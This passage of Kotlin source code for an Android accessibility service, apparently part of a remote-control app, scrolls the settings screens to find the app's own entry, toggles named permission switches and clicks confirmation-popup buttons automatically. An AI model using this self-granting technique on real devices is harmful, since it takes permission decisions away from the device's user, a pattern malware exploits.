        for (i in 1..MAX_SCROLL_ATTEMPTS) {
            // 向上滚动 - 使用手势实现
            performScrollUp()
            delay(500)
            
            // 搜索
            if (searchCurrentPosition(text)) {
                Log.d(TAG, "✅ 向上搜索第${i}次成功找到: $text")
                return true
            }
            
            Log.d(TAG, "🔍 向上搜索第${i}次未找到: $text")
        }
        
        Log.w(TAG, "❌ 向上搜索失败: $text")
        return false
    }
    
    /**
     * 向下搜索
     */
    private suspend fun scrollDownAndSearch(text: String): Boolean {
        Log.d(TAG, "🔍 开始向下搜索: $text")
        
        for (i in 1..MAX_SCROLL_ATTEMPTS) {
            // 向下滚动 - 使用手势实现
            performScrollDown()
            delay(500)
            
            // 搜索
            if (searchCurrentPosition(text)) {
                Log.d(TAG, "✅ 向下搜索第${i}次成功找到: $text")
                return true
            }
            
            Log.d(TAG, "🔍 向下搜索第${i}次未找到: $text")
        }
        
        Log.w(TAG, "❌ 向下搜索失败: $text")
        return false
    }
    
    /**
     * 查找并点击我们的应用
     */
    private suspend fun findAndClickOurApp(): Boolean {
        Log.d(TAG, "🔍 查找我们的应用")
        
        // 动态获取当前应用名称
        val appName = try {
            val applicationInfo = context.applicationInfo
            val packageManager = context.packageManager
            val appLabel = packageManager.getApplicationLabel(applicationInfo).toString()
            Log.d(TAG, "当前应用名称: $appLabel")
            appLabel
        } catch (e: Exception) {
            Log.w(TAG, "无法获取应用名称，使用默认名称", e)
            "Android Remote Control" // 后备方案
        }
        
        Log.d(TAG, "🔍 搜索应用: $appName")
        
        // 搜索当前位置的应用
        Log.d(TAG, "🔍 搜索当前位置的应用: $appName")
        if (searchCurrentPositionForApp(appName)) {
            return true
        }
        
        // 向下搜索应用
        return scrollDownAndSearchApp(appName)
    }
    
    /**
     * 在当前位置搜索应用
     */
    private suspend fun searchCurrentPositionForApp(appName: String): Boolean {
        val rootNode = service.rootInActiveWindow
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }
        
        val appNode = findNodeByText(rootNode, appName)
        if (appNode != null) {
            Log.d(TAG, "✅ 在当前位置找到应用: $appName")
            val success = performClickSafe(appNode)
            safeRecycleNode(rootNode)
            
            if (success) {
                delay(PAGE_LOAD_DELAY)
                Log.d(TAG, "✅ 成功进入应用详情页面")
                return true
            }
        }
        
        safeRecycleNode(rootNode)
        return false
    }
    
    /**
     * 向下搜索应用
     */
    private suspend fun scrollDownAndSearchApp(appName: String): Boolean {
        Log.d(TAG, "🔍 开始向下搜索应用: $appName")
        
        for (i in 1..MAX_SCROLL_ATTEMPTS) {
            // 向下滚动 - 使用手势实现
            performScrollDown()
            delay(500)
            
            // 搜索应用
            if (searchCurrentPositionForApp(appName)) {
                Log.d(TAG, "✅ 向下搜索第${i}次成功找到应用: $appName")
                return true
            }
            
            Log.d(TAG, "🔍 向下搜索第${i}次未找到应用: $appName")
        }
        
        Log.w(TAG, "❌ 向下搜索应用失败: $appName")
        return false
    }
    
    /**
     * 切换权限状态
     */
    private suspend fun togglePermission(permissionName: String, targetState: Boolean): Boolean {
        Log.d(TAG, "🔧 切换权限: $permissionName -> $targetState")
        
        val rootNode = service.rootInActiveWindow
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }
        
        val permissionNode = findNodeByText(rootNode, permissionName)
        if (permissionNode == null) {
            Log.w(TAG, "❌ 无法找到权限文本: $permissionName")
            safeRecycleNode(rootNode)
            return false
        }
        
        Log.d(TAG, "✅ 找到权限文本: $permissionName")
        
        // 查找右侧的开关控件
        val switchNode = findRightSideSwitchNode(permissionNode)
        if (switchNode == null) {
            Log.w(TAG, "❌ 无法找到开关控件")
            safeRecycleNode(rootNode)
            return false
        }
        
        // 检查当前状态
        val currentState = switchNode.isChecked
        Log.d(TAG, "🔍 权限当前状态: $permissionName = $currentState")
        
        if (currentState == targetState) {
            Log.d(TAG, "✅ 权限已是目标状态: $permissionName")
            safeRecycleNode(rootNode)
            return true
        }
        
        // 需要切换状态
        Log.d(TAG, "🔄 需要切换权限状态: $permissionName")
        val clickSuccess = performClickSafe(switchNode) || performCoordinateClick(switchNode)
        
        safeRecycleNode(rootNode)
        
        if (clickSuccess) {
            delay(500) // 等待状态更新
            Log.d(TAG, "✅ 权限状态切换成功: $permissionName -> $targetState")
            return true
        } else {
            Log.w(TAG, "❌ 权限状态切换失败: $permissionName")
            return false
        }
    }
    
    /**
     * 处理弹窗
     */
    private suspend fun handlePopup(buttonText: String): Boolean {
        Log.d(TAG, "🔧 处理弹窗，寻找按钮: $buttonText")
        
        delay(1000) // 等待弹窗出现
        
        val rootNode = service.rootInActiveWindow
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点处理弹窗")
            return true // 没有弹窗也算成功
        }
        
        // 查找按钮
        val buttonNode = findNodeByText(rootNode, buttonText)
        if (buttonNode != null) {
            Log.d(TAG, "✅ 找到弹窗按钮: $buttonText")
            val clickSuccess = performClickSafe(buttonNode)
            safeRecycleNode(rootNode)
            
            if (clickSuccess) {
                delay(500) // 等待弹窗关闭
                Log.d(TAG, "✅ 弹窗按钮点击成功: $buttonText")
                return true
            }
        }
        
        safeRecycleNode(rootNode)
        Log.d(TAG, "🔍 未找到弹窗按钮，可能没有弹窗出现: $buttonText")
        return true
    }
    
    // ======================== 节点查找和操作方法 ========================
    
    /**
     * 通过文本查找节点
     */
    private fun findNodeByText(root: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
        // 检查当前节点 - 精确匹配
        val nodeText = root.text?.toString()
        val nodeDesc = root.contentDescription?.toString()
        
        if (nodeText == text || nodeDesc == text) {
            Log.d(TAG, "✅ 找到文本节点: $text")
            return root
        }
        
        // 递归查找子节点
        for (i in 0 until root.childCount) {
            val child = root.getChild(i) ?: continue
            managedNodes.add(child)
            
            val result = findNodeByText(child, text)
            if (result != null) {
                return result
            }
        }
        
        return null
    }
    
    /**
     * 查找权限文本右侧的开关控件
     */
    private fun findRightSideSwitchNode(permissionNode: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        Log.d(TAG, "🔍 查找文本右侧的开关控件")
        
        // 策略1: 在同一父节点中查找开关控件
        val parent = permissionNode.parent
        if (parent != null) {
            managedNodes.add(parent)
            
            for (i in 0 until parent.childCount) {
                val sibling = parent.getChild(i) ?: continue
                managedNodes.add(sibling)
                
                if (isSwitchNode(sibling)) {
                    Log.d(TAG, "✅ 在同级节点中找到开关控件")
                    return sibling
                }
            }
        }
        
        // 策略2: 在祖父节点中查找开关控件
        val grandParent = parent?.parent
        if (grandParent != null) {
            managedNodes.add(grandParent)
            
            val switchNode = findSwitchInNode(grandParent)
            if (switchNode != null) {
                Log.d(TAG, "✅ 在祖父节点中找到开关控件")
                return switchNode
            }
        }
        
        return null
    }
    
    /**
     * 在节点中查找开关控件
     */
    private fun findSwitchInNode(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        if (isSwitchNode(node)) {
            return node
        }
        
        for (i in 0 until node.childCount) {
            val child = node.getChild(i) ?: continue
            managedNodes.add(child)
            
            val result = findSwitchInNode(child)
            if (result != null) {
                return result
            }
        }
        
        return null
    }
    
    /**
     * 检查节点是否为开关控件
     */
    private fun isSwitchNode(node: AccessibilityNodeInfo): Boolean {
        val className = node.className?.toString() ?: ""
        return className.contains("Switch", ignoreCase = true) && 
               node.isClickable && 
               node.isVisibleToUser && 
               node.isEnabled
    }
    
    /**
     * 安全点击节点
     */
    private suspend fun performClickSafe(node: AccessibilityNodeInfo): Boolean {
        Log.d(TAG, "🔍 节点详情: 文本='${node.text}', 描述='${node.contentDescription}', 类型='${node.className}', 可点击=${node.isClickable}, 可见=${node.isVisibleToUser}, 启用=${node.isEnabled}")
        
        return if (node.isClickable) {
            val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
            Log.d(TAG, if (success) "✅ 节点点击成功" else "❌ 节点点击失败")
            success
        } else {
            Log.w(TAG, "⚠️ 节点不可点击，尝试点击父节点")
            clickParentNode(node)
        }
    }
    
    /**
     * 点击父节点
     */
    private suspend fun clickParentNode(node: AccessibilityNodeInfo): Boolean {
        var currentNode = node.parent
        var level = 1
        
        while (currentNode != null && level <= 5) {
            managedNodes.add(currentNode)
            
            if (currentNode.isClickable) {
                Log.d(TAG, "🎯 找到可点击的父节点，向上${level}层")
                val success = currentNode.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                Log.d(TAG, if (success) "✅ 节点点击成功" else "❌ 节点点击失败")
                return success
            }
            
            currentNode = currentNode.parent
            level++
        }
        
        Log.w(TAG, "❌ 未找到可点击的父节点")
        return false
    }
    
    /**
     * 坐标点击节点
     */
    private suspend fun performCoordinateClick(node: AccessibilityNodeInfo): Boolean {
        return try {
            val bounds = Rect()
            node.getBoundsInScreen(bounds)
            
            if (bounds.isEmpty) {
                Log.w(TAG, "❌ 节点边界为空")
                return false
            }
            
            val centerX = bounds.centerX()
            val centerY = bounds.centerY()
            
            Log.d(TAG, "🎯 开关控件坐标: ($centerX, $centerY), 区域: $bounds")
            
            // 使用AccessibilityService的手势功能
            val gestureBuilder = android.accessibilityservice.GestureDescription.Builder()
            val path = android.graphics.Path()
            path.moveTo(centerX.toFloat(), centerY.toFloat())
            
            val stroke = android.accessibilityservice.GestureDescription.StrokeDescription(
                path, 0, 100
            )
            gestureBuilder.addStroke(stroke)
            
            val gesture = gestureBuilder.build()
            
            val success = service.dispatchGesture(gesture, object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
                override fun onCompleted(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.d(TAG, "✅ 坐标点击手势完成")
                }
                
                override fun onCancelled(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.w(TAG, "❌ 坐标点击手势被取消")
                }
            }, null)
            
            if (success) {
                Log.d(TAG, "✅ 成功执行坐标点击: ($centerX, $centerY)")
                return true
            } else {
                Log.w(TAG, "❌ 坐标点击执行失败")
                return false
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 坐标点击异常", e)
            return false
        }
    }
    
    // ======================== 资源管理方法 ========================
    
    /**
     * 安全回收节点
     */
    private fun safeRecycleNode(node: AccessibilityNodeInfo?) {
        try {
            if (node != null && managedNodes.contains(node)) {
                node.recycle()
                managedNodes.remove(node)
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 节点回收失败", e)
        }
    }
    
    /**
     * 清理管理的节点
     */
    private fun cleanupManagedNodes() {
        Log.d(TAG, "🧹 清理管理的节点，数量: ${managedNodes.size}")
        
        try {
            managedNodes.forEach { node ->
                try {
                    node.recycle()
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 清理节点失败", e)
                }
            }
            managedNodes.clear()
            Log.d(TAG, "✅ 清理管理节点完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 清理管理节点异常", e)
        }
    }
    
    // ======================== 滚动操作方法 ========================
    
    /**
     * 执行向上滚动
     */
    private suspend fun performScrollUp() {
        try {
            val rootNode = service.rootInActiveWindow
            if (rootNode != null) {
                // 查找可滚动的节点
                val scrollableNode = findScrollableNode(rootNode)
                if (scrollableNode != null) {
                    scrollableNode.performAction(AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD)
                } else {
                    // 如果没有找到可滚动节点，使用手势
                    performScrollGesture(true)
                }
                safeRecycleNode(rootNode)
            } else {
                // 备选方案：使用手势滚动
                performScrollGesture(true)
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 向上滚动失败", e)
            // 最后尝试使用手势
            performScrollGesture(true)
        }
    }
    
    /**
     * 执行向下滚动
     */
    private suspend fun performScrollDown() {
        try {
            val rootNode = service.rootInActiveWindow
            if (rootNode != null) {
                // 查找可滚动的节点
                val scrollableNode = findScrollableNode(rootNode)
                if (scrollableNode != null) {
                    scrollableNode.performAction(AccessibilityNodeInfo.ACTION_SCROLL_FORWARD)
                } else {
                    // 如果没有找到可滚动节点，使用手势
                    performScrollGesture(false)
                }
                safeRecycleNode(rootNode)
            } else {
                // 备选方案：使用手势滚动
                performScrollGesture(false)
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 向下滚动失败", e)
            // 最后尝试使用手势
            performScrollGesture(false)
        }
    }
    
    /**
     * 查找可滚动的节点
     */
    private fun findScrollableNode(root: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        if (root.isScrollable) {
            return root
        }
        
        for (i in 0 until root.childCount) {
            val child = root.getChild(i) ?: continue
            managedNodes.add(child)
            
            val result = findScrollableNode(child)
            if (result != null) {
                return result
            }
        }
        
        return null
    }
    
    /**
     * 执行手势滚动
     */
    private suspend fun performScrollGesture(isScrollUp: Boolean) {
        try {
            // 获取屏幕尺寸
            val displayMetrics = context.resources.displayMetrics
            val screenWidth = displayMetrics.widthPixels
            val screenHeight = displayMetrics.heightPixels
            
            // 设置滑动起点和终点
            val startX = screenWidth / 2f
            val startY = if (isScrollUp) screenHeight * 0.7f else screenHeight * 0.3f
            val endY = if (isScrollUp) screenHeight * 0.3f else screenHeight * 0.7f
            
            // 创建手势
            val gestureBuilder = android.accessibilityservice.GestureDescription.Builder()
            val path = android.graphics.Path()
            path.moveTo(startX, startY)
            path.lineTo(startX, endY)
            
            val stroke = android.accessibilityservice.GestureDescription.StrokeDescription(
                path, 0, 300 // 300ms的滑动时间
            )
            gestureBuilder.addStroke(stroke)
            
            val gesture = gestureBuilder.build()
            
            service.dispatchGesture(gesture, object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
                override fun onCompleted(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.d(TAG, "✅ ${if (isScrollUp) "向上" else "向下"}滚动手势完成")
                }
                
                override fun onCancelled(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.w(TAG, "❌ ${if (isScrollUp) "向上" else "向下"}滚动手势被取消")
                }
            }, null)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 执行滚动手势失败", e)
        }
    }
} 